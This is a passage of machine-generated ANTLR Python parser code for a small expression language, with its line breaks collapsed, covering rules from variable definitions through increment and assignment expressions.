elif alt31 == 2: # Expr.g:206:4: 'public' 'static' ID ( '=' expr )? ';' pass string_literal154 = self.match(self.input, 124, self.FOLLOW_124_in_var_def1283) if self._state.backtracking == 0: stream_124.add(string_literal154) string_literal155 = self.match(self.input, 127, self.FOLLOW_127_in_var_def1285) if self._state.backtracking == 0: stream_127.add(string_literal155) ID156 = self.match(self.input, ID, self.FOLLOW_ID_in_var_def1287) if self._state.backtracking == 0: stream_ID.add(ID156) # Expr.g:206:25: ( '=' expr )? alt30 = 2 LA30_0 = self.input.LA(1) if (LA30_0 == 95) : alt30 = 1 if alt30 == 1: # Expr.g:206:26: '=' expr pass char_literal157 = self.match(self.input, 95, self.FOLLOW_95_in_var_def1290) if self._state.backtracking == 0: stream_95.add(char_literal157) self._state.following.append(self.FOLLOW_expr_in_var_def1292) expr158 = self.expr() self._state.following.pop() if self._state.backtracking == 0: stream_expr.add(expr158.tree) char_literal159 = self.match(self.input, 92, self.FOLLOW_92_in_var_def1296) if self._state.backtracking == 0: stream_92.add(char_literal159) # AST Rewrite # elements: expr, ID, 127 # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 207:3: -> ^( VAR 'static' ID ( expr )? ) # Expr.g:207:6: ^( VAR 'static' ID ( expr )? ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(VAR, "VAR") , root_1) self._adaptor.addChild(root_1, stream_127.nextNode() ) self._adaptor.addChild(root_1, stream_ID.nextNode() ) # Expr.g:207:24: ( expr )? if stream_expr.hasNext(): self._adaptor.addChild(root_1, stream_expr.nextTree()) stream_expr.reset(); self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "var_def" class constructor_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.constructor_return, self).__init__() self.tree = None # $ANTLR start "constructor" # Expr.g:209:1: constructor : 'function' 'init' params block -> ^( CONSTRUCTOR params block ) ; def constructor(self, ): retval = self.constructor_return() retval.start = self.input.LT(1) root_0 = None string_literal160 = None string_literal161 = None params162 = None block163 = None string_literal160_tree = None string_literal161_tree = None stream_117 = RewriteRuleTokenStream(self._adaptor, "token 117") stream_120 = RewriteRuleTokenStream(self._adaptor, "token 120") stream_block = RewriteRuleSubtreeStream(self._adaptor, "rule block") stream_params = RewriteRuleSubtreeStream(self._adaptor, "rule params") try: try: # Expr.g:210:2: ( 'function' 'init' params block -> ^( CONSTRUCTOR params block ) ) # Expr.g:210:4: 'function' 'init' params block pass string_literal160 = self.match(self.input, 117, self.FOLLOW_117_in_constructor1321) if self._state.backtracking == 0: stream_117.add(string_literal160) string_literal161 = self.match(self.input, 120, self.FOLLOW_120_in_constructor1323) if self._state.backtracking == 0: stream_120.add(string_literal161) self._state.following.append(self.FOLLOW_params_in_constructor1325) params162 = self.params() self._state.following.pop() if self._state.backtracking == 0: stream_params.add(params162.tree) self._state.following.append(self.FOLLOW_block_in_constructor1327) block163 = self.block() self._state.following.pop() if self._state.backtracking == 0: stream_block.add(block163.tree) # AST Rewrite # elements: params, block # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 211:3: -> ^( CONSTRUCTOR params block ) # Expr.g:211:6: ^( CONSTRUCTOR params block ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(CONSTRUCTOR, "CONSTRUCTOR") , root_1) self._adaptor.addChild(root_1, stream_params.nextTree()) self._adaptor.addChild(root_1, stream_block.nextTree()) self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "constructor" class member_expr_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.member_expr_return, self).__init__() self.tree = None # $ANTLR start "member_expr" # Expr.g:217:1: member_expr : primary ( '.' primary )* -> ^( MEMBER ( primary )+ ) ; def member_expr(self, ): retval = self.member_expr_return() retval.start = self.input.LT(1) root_0 = None char_literal165 = None primary164 = None primary166 = None char_literal165_tree = None stream_86 = RewriteRuleTokenStream(self._adaptor, "token 86") stream_primary = RewriteRuleSubtreeStream(self._adaptor, "rule primary") try: try: # Expr.g:218:2: ( primary ( '.' primary )* -> ^( MEMBER ( primary )+ ) ) # Expr.g:218:4: primary ( '.' primary )* pass self._state.following.append(self.FOLLOW_primary_in_member_expr1354) primary164 = self.primary() self._state.following.pop() if self._state.backtracking == 0: stream_primary.add(primary164.tree) # Expr.g:218:12: ( '.' primary )* while True: #loop32 alt32 = 2 LA32_0 = self.input.LA(1) if (LA32_0 == 86) : alt32 = 1 if alt32 == 1: # Expr.g:218:13: '.' primary pass char_literal165 = self.match(self.input, 86, self.FOLLOW_86_in_member_expr1357) if self._state.backtracking == 0: stream_86.add(char_literal165) self._state.following.append(self.FOLLOW_primary_in_member_expr1359) primary166 = self.primary() self._state.following.pop() if self._state.backtracking == 0: stream_primary.add(primary166.tree) else: break #loop32 # AST Rewrite # elements: primary # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 219:3: -> ^( MEMBER ( primary )+ ) # Expr.g:219:6: ^( MEMBER ( primary )+ ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(MEMBER, "MEMBER") , root_1) # Expr.g:219:15: ( primary )+ if not (stream_primary.hasNext()): raise RewriteEarlyExitException() while stream_primary.hasNext(): self._adaptor.addChild(root_1, stream_primary.nextTree()) stream_primary.reset() self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "member_expr" class primary_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.primary_return, self).__init__() self.tree = None # $ANTLR start "primary" # Expr.g:221:1: primary : ID ( index_expr )* ( call_expr )? ; def primary(self, ): retval = self.primary_return() retval.start = self.input.LT(1) root_0 = None ID167 = None index_expr168 = None call_expr169 = None ID167_tree = None try: try: # Expr.g:222:2: ( ID ( index_expr )* ( call_expr )? ) # Expr.g:222:4: ID ( index_expr )* ( call_expr )? pass root_0 = self._adaptor.nil() ID167 = self.match(self.input, ID, self.FOLLOW_ID_in_primary1382) if self._state.backtracking == 0: ID167_tree = self._adaptor.createWithPayload(ID167) self._adaptor.addChild(root_0, ID167_tree) # Expr.g:222:7: ( index_expr )* while True: #loop33 alt33 = 2 LA33_0 = self.input.LA(1) if (LA33_0 == 100) : alt33 = 1 if alt33 == 1: # Expr.g:222:7: index_expr pass self._state.following.append(self.FOLLOW_index_expr_in_primary1384) index_expr168 = self.index_expr() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, index_expr168.tree) else: break #loop33 # Expr.g:222:19: ( call_expr )? alt34 = 2 LA34_0 = self.input.LA(1) if (LA34_0 == 75) : alt34 = 1 if alt34 == 1: # Expr.g:222:19: call_expr pass self._state.following.append(self.FOLLOW_call_expr_in_primary1387) call_expr169 = self.call_expr() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, call_expr169.tree) retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "primary" class call_expr_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.call_expr_return, self).__init__() self.tree = None # $ANTLR start "call_expr" # Expr.g:224:1: call_expr : '(' ( expr_list )? ')' -> ^( CALL ( expr_list )? ) ; def call_expr(self, ): retval = self.call_expr_return() retval.start = self.input.LT(1) root_0 = None char_literal170 = None char_literal172 = None expr_list171 = None char_literal170_tree = None char_literal172_tree = None stream_75 = RewriteRuleTokenStream(self._adaptor, "token 75") stream_76 = RewriteRuleTokenStream(self._adaptor, "token 76") stream_expr_list = RewriteRuleSubtreeStream(self._adaptor, "rule expr_list") try: try: # Expr.g:225:2: ( '(' ( expr_list )? ')' -> ^( CALL ( expr_list )? ) ) # Expr.g:225:4: '(' ( expr_list )? ')' pass char_literal170 = self.match(self.input, 75, self.FOLLOW_75_in_call_expr1398) if self._state.backtracking == 0: stream_75.add(char_literal170) # Expr.g:225:8: ( expr_list )? alt35 = 2 LA35_0 = self.input.LA(1) if (LA35_0 == BOOL or LA35_0 == FLOAT or LA35_0 == ID or LA35_0 == INT or LA35_0 == NULL or LA35_0 == STRING or LA35_0 == 68 or LA35_0 == 75 or LA35_0 == 83 or LA35_0 == 100 or LA35_0 == 121 or LA35_0 == 126 or LA35_0 == 132) : alt35 = 1 if alt35 == 1: # Expr.g:225:8: expr_list pass self._state.following.append(self.FOLLOW_expr_list_in_call_expr1400) expr_list171 = self.expr_list() self._state.following.pop() if self._state.backtracking == 0: stream_expr_list.add(expr_list171.tree) char_literal172 = self.match(self.input, 76, self.FOLLOW_76_in_call_expr1403) if self._state.backtracking == 0: stream_76.add(char_literal172) # AST Rewrite # elements: expr_list # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 226:3: -> ^( CALL ( expr_list )? ) # Expr.g:226:6: ^( CALL ( expr_list )? ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(CALL, "CALL") , root_1) # Expr.g:226:13: ( expr_list )? if stream_expr_list.hasNext(): self._adaptor.addChild(root_1, stream_expr_list.nextTree()) stream_expr_list.reset(); self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "call_expr" class index_expr_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.index_expr_return, self).__init__() self.tree = None # $ANTLR start "index_expr" # Expr.g:228:1: index_expr options {backtrack=true; } : ( '[' expr ']' -> ^( INDEX expr ) | '[' expr '..' ( expr )? ']' -> ^( SLICE expr ( expr )? ) ); def index_expr(self, ): retval = self.index_expr_return() retval.start = self.input.LT(1) root_0 = None char_literal173 = None char_literal175 = None char_literal176 = None string_literal178 = None char_literal180 = None expr174 = None expr177 = None expr179 = None char_literal173_tree = None char_literal175_tree = None char_literal176_tree = None string_literal178_tree = None char_literal180_tree = None stream_101 = RewriteRuleTokenStream(self._adaptor, "token 101") stream_88 = RewriteRuleTokenStream(self._adaptor, "token 88") stream_100 = RewriteRuleTokenStream(self._adaptor, "token 100") stream_expr = RewriteRuleSubtreeStream(self._adaptor, "rule expr") try: try: # Expr.g:232:2: ( '[' expr ']' -> ^( INDEX expr ) | '[' expr '..' ( expr )? ']' -> ^( SLICE expr ( expr )? ) ) alt37 = 2 LA37_0 = self.input.LA(1) if (LA37_0 == 100) : LA37_1 = self.input.LA(2) if (self.synpred1_Expr()) : alt37 = 1 elif (True) : alt37 = 2 else: if self._state.backtracking > 0: raise BacktrackingFailed nvae = NoViableAltException("", 37, 1, self.input) raise nvae else: if self._state.backtracking > 0: raise BacktrackingFailed nvae = NoViableAltException("", 37, 0, self.input) raise nvae if alt37 == 1: # Expr.g:232:4: '[' expr ']' pass char_literal173 = self.match(self.input, 100, self.FOLLOW_100_in_index_expr1439) if self._state.backtracking == 0: stream_100.add(char_literal173) self._state.following.append(self.FOLLOW_expr_in_index_expr1441) expr174 = self.expr() self._state.following.pop() if self._state.backtracking == 0: stream_expr.add(expr174.tree) char_literal175 = self.match(self.input, 101, self.FOLLOW_101_in_index_expr1443) if self._state.backtracking == 0: stream_101.add(char_literal175) # AST Rewrite # elements: expr # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 233:3: -> ^( INDEX expr ) # Expr.g:233:6: ^( INDEX expr ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(INDEX, "INDEX") , root_1) self._adaptor.addChild(root_1, stream_expr.nextTree()) self._adaptor.addChild(root_0, root_1) retval.tree = root_0 elif alt37 == 2: # Expr.g:234:4: '[' expr '..' ( expr )? ']' pass char_literal176 = self.match(self.input, 100, self.FOLLOW_100_in_index_expr1458) if self._state.backtracking == 0: stream_100.add(char_literal176) self._state.following.append(self.FOLLOW_expr_in_index_expr1460) expr177 = self.expr() self._state.following.pop() if self._state.backtracking == 0: stream_expr.add(expr177.tree) string_literal178 = self.match(self.input, 88, self.FOLLOW_88_in_index_expr1462) if self._state.backtracking == 0: stream_88.add(string_literal178) # Expr.g:234:18: ( expr )? alt36 = 2 LA36_0 = self.input.LA(1) if (LA36_0 == BOOL or LA36_0 == FLOAT or LA36_0 == ID or LA36_0 == INT or LA36_0 == NULL or LA36_0 == STRING or LA36_0 == 68 or LA36_0 == 75 or LA36_0 == 83 or LA36_0 == 100 or LA36_0 == 121 or LA36_0 == 126 or LA36_0 == 132) : alt36 = 1 if alt36 == 1: # Expr.g:234:18: expr pass self._state.following.append(self.FOLLOW_expr_in_index_expr1464) expr179 = self.expr() self._state.following.pop() if self._state.backtracking == 0: stream_expr.add(expr179.tree) char_literal180 = self.match(self.input, 101, self.FOLLOW_101_in_index_expr1467) if self._state.backtracking == 0: stream_101.add(char_literal180) # AST Rewrite # elements: expr, expr # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 235:3: -> ^( SLICE expr ( expr )? ) # Expr.g:235:6: ^( SLICE expr ( expr )? ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(SLICE, "SLICE") , root_1) self._adaptor.addChild(root_1, stream_expr.nextTree()) # Expr.g:235:19: ( expr )? if stream_expr.hasNext(): self._adaptor.addChild(root_1, stream_expr.nextTree()) stream_expr.reset(); self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "index_expr" class exec_list_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.exec_list_return, self).__init__() self.tree = None # $ANTLR start "exec_list" # Expr.g:239:1: exec_list : exec_expr ( ',' exec_expr )* -> ^( EXEC_LIST ( exec_expr )+ ) ; def exec_list(self, ): retval = self.exec_list_return() retval.start = self.input.LT(1) root_0 = None char_literal182 = None exec_expr181 = None exec_expr183 = None char_literal182_tree = None stream_82 = RewriteRuleTokenStream(self._adaptor, "token 82") stream_exec_expr = RewriteRuleSubtreeStream(self._adaptor, "rule exec_expr") try: try: # Expr.g:240:2: ( exec_expr ( ',' exec_expr )* -> ^( EXEC_LIST ( exec_expr )+ ) ) # Expr.g:240:4: exec_expr ( ',' exec_expr )* pass self._state.following.append(self.FOLLOW_exec_expr_in_exec_list1492) exec_expr181 = self.exec_expr() self._state.following.pop() if self._state.backtracking == 0: stream_exec_expr.add(exec_expr181.tree) # Expr.g:240:14: ( ',' exec_expr )* while True: #loop38 alt38 = 2 LA38_0 = self.input.LA(1) if (LA38_0 == 82) : alt38 = 1 if alt38 == 1: # Expr.g:240:15: ',' exec_expr pass char_literal182 = self.match(self.input, 82, self.FOLLOW_82_in_exec_list1495) if self._state.backtracking == 0: stream_82.add(char_literal182) self._state.following.append(self.FOLLOW_exec_expr_in_exec_list1497) exec_expr183 = self.exec_expr() self._state.following.pop() if self._state.backtracking == 0: stream_exec_expr.add(exec_expr183.tree) else: break #loop38 # AST Rewrite # elements: exec_expr # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 241:3: -> ^( EXEC_LIST ( exec_expr )+ ) # Expr.g:241:6: ^( EXEC_LIST ( exec_expr )+ ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(EXEC_LIST, "EXEC_LIST") , root_1) # Expr.g:241:18: ( exec_expr )+ if not (stream_exec_expr.hasNext()): raise RewriteEarlyExitException() while stream_exec_expr.hasNext(): self._adaptor.addChild(root_1, stream_exec_expr.nextTree()) stream_exec_expr.reset() self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "exec_list" class member_list_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.member_list_return, self).__init__() self.tree = None # $ANTLR start "member_list" # Expr.g:243:1: member_list : member_expr ( ',' member_expr )* ; def member_list(self, ): retval = self.member_list_return() retval.start = self.input.LT(1) root_0 = None char_literal185 = None member_expr184 = None member_expr186 = None char_literal185_tree = None try: try: # Expr.g:244:2: ( member_expr ( ',' member_expr )* ) # Expr.g:244:4: member_expr ( ',' member_expr )* pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_member_expr_in_member_list1520) member_expr184 = self.member_expr() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, member_expr184.tree) # Expr.g:244:16: ( ',' member_expr )* while True: #loop39 alt39 = 2 LA39_0 = self.input.LA(1) if (LA39_0 == 82) : alt39 = 1 if alt39 == 1: # Expr.g:244:17: ',' member_expr pass char_literal185 = self.match(self.input, 82, self.FOLLOW_82_in_member_list1523) if self._state.backtracking == 0: char_literal185_tree = self._adaptor.createWithPayload(char_literal185) self._adaptor.addChild(root_0, char_literal185_tree) self._state.following.append(self.FOLLOW_member_expr_in_member_list1525) member_expr186 = self.member_expr() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, member_expr186.tree) else: break #loop39 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "member_list" class exec_expr_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.exec_expr_return, self).__init__() self.tree = None # $ANTLR start "exec_expr" # Expr.g:246:1: exec_expr : ( member_expr ( assign_op expr -> ^( ASSIGN member_expr assign_op expr ) | '++' -> ^( POST_INC member_expr ) | '--' -> ^( POST_DEC member_expr ) | -> member_expr ) | '++' member_expr -> ^( PRE_INC member_expr ) | '--' member_expr -> ^( PRE_DEC member_expr ) ); def exec_expr(self, ): retval = self.exec_expr_return() retval.start = self.input.LT(1) root_0 = None string_literal190 = None string_literal191 = None string_literal192 = None string_literal194 = None member_expr187 = None assign_op188 = None expr189 = None member_expr193 = None member_expr195 = None string_literal190_tree = None string_literal191_tree = None string_literal192_tree = None string_literal194_tree = None stream_80 = RewriteRuleTokenStream(self._adaptor, "token 80") stream_84 = RewriteRuleTokenStream(self._adaptor, "token 84") stream_member_expr = RewriteRuleSubtreeStream(self._adaptor, "rule member_expr") stream_expr = RewriteRuleSubtreeStream(self._adaptor, "rule expr") stream_assign_op = RewriteRuleSubtreeStream(self._adaptor, "rule assign_op") try: try: # Expr.g:247:2: ( member_expr ( assign_op expr -> ^( ASSIGN member_expr assign_op expr ) | '++' -> ^( POST_INC member_expr ) | '--' -> ^( POST_DEC member_expr ) | -> member_expr ) | '++' member_expr -> ^( PRE_INC member_expr ) | '--' member_expr -> ^( PRE_DEC member_expr ) ) alt41 = 3 LA41 = self.input.LA(1) if LA41 == ID: alt41 = 1 elif LA41 == 80: alt41 = 2 elif LA41 == 84: alt41 = 3 else: if self._state.backtracking > 0: raise BacktrackingFailed nvae = NoViableAltException("", 41, 0, self.input) raise nvae if alt41 == 1: # Expr.g:247:4: member_expr ( assign_op expr -> ^( ASSIGN member_expr assign_op expr ) | '++' -> ^( POST_INC member_expr ) | '--' -> ^( POST_DEC member_expr ) | -> member_expr ) pass self._state.following.append(self.FOLLOW_member_expr_in_exec_expr1537) member_expr187 = self.member_expr() self._state.following.pop() if self._state.backtracking == 0: stream_member_expr.add(member_expr187.tree) # Expr.g:248:3: ( assign_op expr -> ^( ASSIGN member_expr assign_op expr ) | '++' -> ^( POST_INC member_expr ) | '--' -> ^( POST_DEC member_expr ) | -> member_expr ) alt40 = 4 LA40 = self.input.LA(1) if LA40 == 71 or LA40 == 74 or LA40 == 78 or LA40 == 81 or LA40 == 85 or LA40 == 90 or LA40 == 95 or LA40 == 103 or LA40 == 134: alt40 = 1 elif LA40 == 80: alt40 = 2 elif LA40 == 84: alt40 = 3 elif LA40 == 76 or LA40 == 82 or LA40 == 92: alt40 = 4 else: if self._state.backtracking > 0: raise BacktrackingFailed nvae = NoViableAltException("", 40, 0, self.input) raise nvae if alt40 == 1: # Expr.g:248:4: assign_op expr pass self._state.following.append(self.FOLLOW_assign_op_in_exec_expr1542) assign_op188 = self.assign_op() self._state.following.pop() if self._state.backtracking == 0: stream_assign_op.add(assign_op188.tree) self._state.following.append(self.FOLLOW_expr_in_exec_expr1544) expr189 = self.expr() self._state.following.pop() if self._state.backtracking == 0: stream_expr.add(expr189.tree) # AST Rewrite # elements: member_expr, expr, assign_op # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 249:4: -> ^( ASSIGN member_expr assign_op expr ) # Expr.g:249:7: ^( ASSIGN member_expr assign_op expr ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(ASSIGN, "ASSIGN") , root_1) self._adaptor.addChild(root_1, stream_member_expr.nextTree()) self._adaptor.addChild(root_1, stream_assign_op.nextTree()) self._adaptor.addChild(root_1, stream_expr.nextTree()) self._adaptor.addChild(root_0, root_1) retval.tree = root_0 elif alt40 == 2: # Expr.g:250:5: '++' pass string_literal190 = self.match(self.input, 80, self.FOLLOW_80_in_exec_expr1565) if self._state.backtracking == 0: stream_80.add(string_literal190) # AST Rewrite # elements: member_expr # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 251:4: -> ^( POST_INC member_expr ) # Expr.g:251:7: ^( POST_INC member_expr ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(POST_INC, "POST_INC") , root_1) self._adaptor.addChild(root_1, stream_member_expr.nextTree()) self._adaptor.addChild(root_0, root_1) retval.tree = root_0 elif alt40 == 3: # Expr.g:252:5: '--' pass string_literal191 = self.match(self.input, 84, self.FOLLOW_84_in_exec_expr1582) if self._state.backtracking == 0: stream_84.add(string_literal191) # AST Rewrite # elements: member_expr # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 253:4: -> ^( POST_DEC member_expr ) # Expr.g:253:7: ^( POST_DEC member_expr ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(POST_DEC, "POST_DEC") , root_1) self._adaptor.addChild(root_1, stream_member_expr.nextTree()) self._adaptor.addChild(root_0, root_1) retval.tree = root_0 elif alt40 == 4: # Expr.g:255:4: pass # AST Rewrite # elements: member_expr # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 255:4: -> member_expr self._adaptor.addChild(root_0, stream_member_expr.nextTree()) retval.tree = root_0 elif alt41 == 2: # Expr.g:257:4: '++' member_expr pass string_literal192 = self.match(self.input, 80, self.FOLLOW_80_in_exec_expr1613) if self._state.backtracking == 0: stream_80.add(string_literal192) self._state.following.append(self.FOLLOW_member_expr_in_exec_expr1615) member_expr193 = self.member_expr() self._state.following.pop() if self._state.backtracking == 0: stream_member_expr.add(member_expr193.tree) # AST Rewrite # elements: member_expr # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 258:3: -> ^( PRE_INC member_expr ) # Expr.g:258:6: ^( PRE_INC member_expr ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(PRE_INC, "PRE_INC") , root_1) self._adaptor.addChild(root_1, stream_member_expr.nextTree()) self._adaptor.addChild(root_0, root_1) retval.tree = root_0 elif alt41 == 3: # Expr.g:259:4: '--' member_expr pass string_literal194 = self.match(self.input, 84, self.FOLLOW_84_in_exec_expr1630) if self._state.backtracking == 0: stream_84.add(string_literal194) self._state.following.append(self.FOLLOW_member_expr_in_exec_expr1632) member_expr195 = self.member_expr() self._state.following.pop() if self._state.backtracking == 0: stream_member_expr.add(member_expr195.tree) # AST Rewrite # elements: member_expr # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 260:3: -> ^( PRE_DEC member_expr ) # Expr.g:260:6: ^( PRE_DEC member_expr ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(PRE_DEC, "PRE_DEC") , root_1) self._adaptor.addChild(root_1, stream_member_expr.nextTree()) self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "exec_expr" class assign_op_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.assign_op_return, self).__init__() self.tree = None # $ANTLR start "assign_op" # Expr.g:262:1: assign_op : ( '=' | '+=' | '-=' | '*=' | '/=' | '%=' | '&=' | '^=' | '|=' ); def assign_op(self, ): retval = 